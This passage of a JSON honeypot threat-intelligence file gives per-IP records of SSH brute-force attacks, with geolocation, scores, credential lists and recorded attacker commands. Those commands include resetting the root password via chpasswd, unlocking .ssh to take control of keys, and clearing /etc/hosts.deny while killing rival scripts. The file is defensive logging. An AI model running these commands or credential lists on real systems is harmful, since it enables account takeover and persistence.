        "last_seen_30d": "2026-03-15T14:20:50.847000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 27
      }
    },
    "69.5.189.81": {
      "attack_count": 173,
      "first_seen": "2026-03-29T20:22:55.585Z",
      "last_seen": "2026-03-29T21:24:43.989Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Administrator123",
        "Bb112233",
        "P@s$w0rd123",
        "PASSW0RD2025",
        "Qwer123!",
        "Smart@2024",
        "Ucloud.cn",
        "a!23456",
        "blockchain",
        "fjbdfdjkdsfs541544@@",
        "liang123456",
        "libreelec",
        "mypassword",
        "niggahe1",
        "oracledba",
        "pink",
        "qwe1234%",
        "sujan"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:V6GKnMQOQ7dH\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 230,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T20:22:55.585000+00:00",
        "last_seen_30d": "2026-03-29T21:25:46.483000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 57
      }
    },
    "103.183.74.205": {
      "attack_count": 144,
      "first_seen": "2026-03-22T09:03:51.253Z",
      "last_seen": "2026-03-22T09:36:16.839Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "best",
        "345gs5662d34",
        "deploy",
        "dinesh",
        "george",
        "hz",
        "init",
        "jordan",
        "maintain",
        "mysftp",
        "operador",
        "oracle",
        "printer",
        "readonly",
        "sample",
        "teamspeak"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "password",
        "1",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Operador123",
        "Readonly123!",
        "dinesh@123",
        "georgepassword",
        "hzpassword",
        "mysftppass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\n18326mXw9PVS\\n18326mXw9PVS\\n\"|passwd",
        "echo -e \"123456\\n18326mXw9PVS\\n18326mXw9PVS\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T09:03:51.253000+00:00",
        "last_seen_30d": "2026-03-22T09:37:20.825000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "2.81.52.147": {
      "attack_count": 144,
      "first_seen": "2026-03-19T07:02:05.164Z",
      "last_seen": "2026-03-19T07:32:24.855Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "es",
        "345gs5662d34",
        "bpoint",
        "cashier",
        "dbadmin",
        "dennis",
        "fff",
        "lankacom",
        "lin",
        "lucas",
        "maintainer",
        "markus",
        "ralph",
        "real",
        "root2",
        "thomas"
      ],
      "passwords_attempted": [
        "12345",
        "123",
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Dbadmin",
        "Fff",
        "Lucas",
        "dennisdennis",
        "es123456",
        "lankacompassword",
        "maintainer@123",
        "markus@123456",
        "ralph@123",
        "thomas123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"es123456\\nAQKZG9YDnm6o\\nAQKZG9YDnm6o\\n\"|passwd",
        "echo -e \"es123456\\nAQKZG9YDnm6o\\nAQKZG9YDnm6o\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Penafiel",
      "asn": 3243,
      "as_org": "Servicos De Comunicacoes E Multimedia S.A.",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T07:02:05.164000+00:00",
        "last_seen_30d": "2026-03-19T07:33:32.971000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "122.160.30.100": {
      "attack_count": 143,
      "first_seen": "2026-03-17T17:17:54.585Z",
      "last_seen": "2026-03-17T17:59:37.992Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bbb",
        "ftptest",
        "ftpuser2",
        "idempiere",
        "invoices",
        "jason",
        "manager",
        "menu",
        "unix",
        "vente",
        "vhserver",
        "webserver"
      ],
      "passwords_attempted": [
        "12345678",
        "101010",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa778899",
        "Changeme123!",
        "Unix123",
        "Vente",
        "Vhserver",
        "Webserver123!",
        "invoices@123456",
        "jason",
        "menumenu"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:QoDfXIPTpZ66\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T17:17:54.585000+00:00",
        "last_seen_30d": "2026-03-17T18:00:44.359000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "159.146.11.164": {
      "attack_count": 119,
      "first_seen": "2026-03-19T21:41:26.620Z",
      "last_seen": "2026-03-19T22:02:04.738Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "forge",
        "345gs5662d34",
        "ems",
        "myftp",
        "sftpuser",
        "teamcity",
        "zhuge",
        "zsolt"
      ],
      "passwords_attempted": [
        "123456",
        "12345",
        "1qaz2wsx3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin12345",
        "Myftp123",
        "Teamcity123",
        "Xx123456789",
        "ems123!",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nmHIWJ3zjgeLW\\nmHIWJ3zjgeLW\\n\"|passwd",
        "echo -e \"123456\\nmHIWJ3zjgeLW\\nmHIWJ3zjgeLW\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 12735,
      "as_org": "TurkNet Iletisim Hizmetleri A.S.",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T21:41:26.620000+00:00",
        "last_seen_30d": "2026-03-19T22:03:06.636000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "43.159.0.221": {
      "attack_count": 119,
      "first_seen": "2026-03-08T21:11:41.712Z",
      "last_seen": "2026-03-08T21:30:16.364Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "myuser",
        "345gs5662d34",
        "aaa",
        "andrei",
        "deamon_root",
        "emma",
        "excel",
        "iptv",
        "pwserver",
        "test001",
        "yujie"
      ],
      "passwords_attempted": [
        "password",
        "1234",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Deamon_root123",
        "Myuser123!",
        "Test001123",
        "pwserver1234",
        "yujie123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Myuser123!\\n3AnOZK0BdHYy\\n3AnOZK0BdHYy\\n\"|passwd",
        "echo -e \"Myuser123!\\n3AnOZK0BdHYy\\n3AnOZK0BdHYy\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T21:11:41.712000+00:00",
        "last_seen_30d": "2026-03-08T21:31:19.360000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "45.249.246.120": {
      "attack_count": 119,
      "first_seen": "2026-03-24T21:24:41.534Z",
      "last_seen": "2026-03-24T21:44:04.704Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "simon",
        "345gs5662d34",
        "datacenter",
        "hamza",
        "hath",
        "king",
        "master",
        "root",
        "spawner",
        "student2",
        "user1"
      ],
      "passwords_attempted": [
        "password",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "anon",
        "hathpass",
        "master",
        "simon123",
        "student21234",
        "user"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"simon123\\nXOBMa63B92m2\\nXOBMa63B92m2\\n\"|passwd",
        "echo -e \"simon123\\nXOBMa63B92m2\\nXOBMa63B92m2\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T21:24:41.534000+00:00",
        "last_seen_30d": "2026-03-24T21:45:08.360000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "45.78.198.190": {
      "attack_count": 118,
      "first_seen": "2026-03-08T03:01:58.200Z",
      "last_seen": "2026-03-08T03:39:22.938Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "taibabi",
        "345gs5662d34",
        "asterix",
        "bodega",
        "bruno",
        "jenkins",
        "openeuler",
        "root",
        "ts3bot",
        "vendas"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "1234qwer!!",
        "3245gs5662d34",
        "345gs5662d34",
        "Ts3bot123!",
        "asterix",
        "bodega123",
        "brunopass",
        "jenkins123",
        "vendas123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\naWoIPIMrofVq\\naWoIPIMrofVq\\n\"|passwd",
        "echo -e \"12345\\naWoIPIMrofVq\\naWoIPIMrofVq\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T03:01:58.200000+00:00",
        "last_seen_30d": "2026-03-08T03:40:23.060000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "154.209.4.195": {
      "attack_count": 109,
      "first_seen": "2026-03-07T04:16:58.993Z",
      "last_seen": "2026-03-07T04:44:12.199Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "chrism",
        "i",
        "ops",
        "passbolt",
        "root",
        "syh",
        "ubuntu"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "@qwer2024",
        "p@ssw0rd",
        "password",
        "syhpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nntcGY8nWdrTy\\nntcGY8nWdrTy\\n\"|passwd",
        "echo -e \"password\\nntcGY8nWdrTy\\nntcGY8nWdrTy\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T04:16:58.993000+00:00",
        "last_seen_30d": "2026-03-07T04:45:19.240000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 109,
        "Suricata": 29
      }
    },
    "178.132.4.68": {
      "attack_count": 109,
      "first_seen": "2026-03-03T18:37:46.941Z",
      "last_seen": "2026-03-03T19:02:00.891Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ1qaz",
        "820927",
        "Bingo@1993",
        "Lala1234",
        "Ly123456@",
        "Qq123456",
        "Qwer123456",
        "Root123#",
        "calvin",
        "panasonic",
        "qwe321"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.success",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Naaldwijk",
      "asn": 49981,
      "as_org": "WorldStream B.V.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T18:37:46.941000+00:00",
        "last_seen_30d": "2026-03-03T19:03:10.330000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 109,
        "Suricata": 38
      }
    },
    "179.33.186.150": {
      "attack_count": 94,
      "first_seen": "2026-03-26T15:54:22.988Z",
      "last_seen": "2026-03-26T16:04:29.458Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "lq",
        "345gs5662d34",
        "dhiraj",
        "ftpupload",
        "proxyuser",
        "root"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "dhiraj123!",
        "ftpuploadpass",
        "lq1234",
        "senha123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"lq1234\\nHCeoQDTDCu5g\\nHCeoQDTDCu5g\\n\"|passwd",
        "echo -e \"lq1234\\nHCeoQDTDCu5g\\nHCeoQDTDCu5g\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T15:54:22.988000+00:00",
        "last_seen_30d": "2026-03-26T16:05:30.579000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 16
      }
    },
    "139.59.31.12": {
      "attack_count": 85,
      "first_seen": "2026-03-03T12:38:14.729Z",
      "last_seen": "2026-03-03T12:52:26.751Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "P@ssw0rd",
        "admin",
        "admin123",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "root123",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T12:37:18.282000+00:00",
        "last_seen_30d": "2026-03-03T12:53:32.659000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 85,
        "Suricata": 36
      }
    },
    "78.100.233.111": {
      "attack_count": 68,
      "first_seen": "2026-03-03T16:29:44.326Z",
      "last_seen": "2026-03-03T16:56:39.137Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456@qwerty",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123...",
        "Abcd*1234",
        "QWERTY12345",
        "Qwer@2025",
        "cyber",
        "qqww1122",
        "sunbeam",
        "unlock",
        "x"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Qatar",
      "country_code": "QA",
      "city": "Doha",
      "asn": 8781,
      "as_org": "Ooredoo Q.S.C.",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T16:29:44.326000+00:00",
        "last_seen_30d": "2026-03-03T16:57:48.748000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
